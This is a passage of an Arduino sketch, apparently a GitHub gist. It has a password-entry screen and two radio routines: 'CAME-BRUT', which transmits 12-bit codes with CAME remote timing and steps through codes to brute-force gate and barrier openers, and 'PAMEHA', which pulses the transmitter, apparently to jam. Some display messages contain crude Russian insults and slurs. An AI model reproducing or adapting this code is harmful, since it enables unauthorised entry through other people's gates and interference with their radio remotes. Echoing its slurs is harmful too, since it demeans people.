| i1p=0; | |
| } | |
| } | |
| if(digitalRead(D3)==LOW){ | |
| tone(tonePin, 300, 156.2499375); | |
| delay(100); | |
| parolvvod[yach] = i1p; | |
| } | |
| if(digitalRead(D4)==LOW){ | |
| tone(tonePin, 300, 156.2499375); | |
| delay(100); | |
| i1p--; | |
| if(i1p>9){ | |
| i1p=0; | |
| } | |
| if(i1p<0){ | |
| i1p=9; | |
| } | |
| } | |
| if(digitalRead(D3)==LOW&&digitalRead(D4)==LOW){ | |
| yach++; | |
| delay(1000); | |
| if(yach>=6){ | |
| yach=0; | |
| } | |
| } | |
| if(parolvvod[0]==passwordkg[0]&&parolvvod[1]==passwordkg[1]&&parolvvod[2]==passwordkg[2]&&parolvvod[3]==passwordkg[3]&&parolvvod[4]==passwordkg[4]&&parolvvod[5]==passwordkg[5]){ | |
| parolking++; | |
| delay(10); | |
| display.clearDisplay(); | |
| display.setCursor(0, 0); | |
| display.setTextSize(3); | |
| display.print("URA"); | |
| if(parolking==3){ | |
| display.setTextSize(2); | |
| display.println(); | |
| display.println("smert`"); | |
| display.println("vafelam"); | |
| } | |
| display.display(); | |
| tone(tonePin, 300, 156.2499375); | |
| delay(10); | |
| tone(tonePin, 400, 156.2499375); | |
| delay(10); | |
| tone(tonePin, 500, 156.2499375); | |
| delay(10); | |
| tone(tonePin, 600, 156.2499375); | |
| delay(10); | |
| tone(tonePin, 700, 156.2499375); | |
| delay(10); | |
| tone(tonePin, 800, 156.2499375); | |
| delay(10); | |
| tone(tonePin, 900, 156.2499375); | |
| delay(10); | |
| tone(tonePin, 1000, 156.2499375); | |
| delay(10); | |
| tone(tonePin, 1200, 156.2499375); | |
| delay(10); | |
| tone(tonePin, 1200, 156.2499375); | |
| delay(10); | |
| tone(tonePin, 1300, 156.2499375); | |
| delay(1000); | |
| } | |
| if(parolvvod[4]!=passwordkg[4]){ | |
| display.setCursor(0, 40); | |
| display.setTextSize(1); | |
| display.print("ne tot parol pituh"); | |
| display.display(); | |
| delay(10); | |
| } | |
| delay(100); | |
| } | |
| delay(100); | |
| } | |
| ///////////////////////////////////////////////shlak baumi////////////////////////////////////////////////////////////////////////////////////////////// | |
| void came_brut(){ | |
| display.clearDisplay(); | |
| display.setCursor(0, 0); | |
| display.setTextSize(1); | |
| display.print("CAME-BRUT"); | |
| display.println(); | |
| display.display(); | |
| if(digitalRead(D4)==LOW){ | |
| shlak(); | |
| send_code++; | |
| } | |
| if(digitalRead(9)==LOW){ | |
| shlak(); | |
| send_code--; | |
| } | |
| } | |
| /////////////////////////////////////////////////////pam pam pam//////////////////////////////////////////////////////////////////////////////////// | |
| void PAMEHA(){ | |
| display.clearDisplay(); | |
| display.setCursor(0, 0); | |
| display.setTextSize(1); | |
| display.print("pameha"); | |
| display.println(); | |
| display.print(pam); | |
| display.print("hz"); | |
| display.display(); | |
| digitalWrite(TX,HIGH); | |
| delay(pam); | |
| digitalWrite (TX, LOW) ; | |
| delay(pam); | |
| digitalWrite(TX,HIGH); | |
| delay(pam); | |
| digitalWrite (TX, LOW) ; | |
| delay(pam); | |
| digitalWrite(TX,HIGH); | |
| delay(pam); | |
| digitalWrite (TX, LOW) ; | |
| delay(pam); | |
| digitalWrite(TX,HIGH); | |
| delay(pam); | |
| digitalWrite (TX, LOW) ; | |
| delay(pam); | |
| digitalWrite(TX,HIGH); | |
| delay(pam); | |
| digitalWrite (TX, LOW) ; | |
| delay(pam); | |
| digitalWrite(TX,HIGH); | |
| delay(pam); | |
| digitalWrite (TX, LOW) ; | |
| delay(pam); | |
| if(digitalRead(9)==LOW){ | |
| pam++; | |
| } | |
| if(digitalRead(9)==LOW&&digitalRead(D4)==LOW){ | |
| pam = pam+10; | |
| tone(TX, 1300, 156.2499375); | |
| } | |
| if(digitalRead(D4)==LOW){ | |
| pam--; | |
| if(pam<1){ | |
| pam = 0; | |
| } | |
| } | |
| } | |
| ////////////////////////////// | |
| void shlak() | |
| { | |
| display.setCursor(0, 30); | |
| display.setTextSize(1); | |
| display.println(send_code); | |
| display.display(); | |
| for (int j = 0; j <4; j++) // достаточно 4-х, но из-за помех поставил 7 | |
| { | |
| digitalWrite(TX, HIGH); // стартовый импульс | |
| delayMicroseconds(700); | |
| digitalWrite(TX, LOW); | |
| for (int i = 12; i > 0; i--) | |
| { | |
| boolean bit_code = bitRead(send_code, i - 1); | |
| if (bit_code) | |
| { | |
| digitalWrite(TX, LOW); // единица | |
| delayMicroseconds(1400); | |
| digitalWrite(TX, HIGH); | |
| delayMicroseconds(700); | |
| } | |
| else | |
| { | |
| digitalWrite(TX, LOW); // ноль | |
| delayMicroseconds(700); | |
| digitalWrite(TX, HIGH); | |
| delayMicroseconds(1400); | |
| } | |
| } | |
| digitalWrite(TX, LOW); // пилотный период | |
| delayMicroseconds(25200); | |
| } | |
| delay(10000); | |
| } | |
| /////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment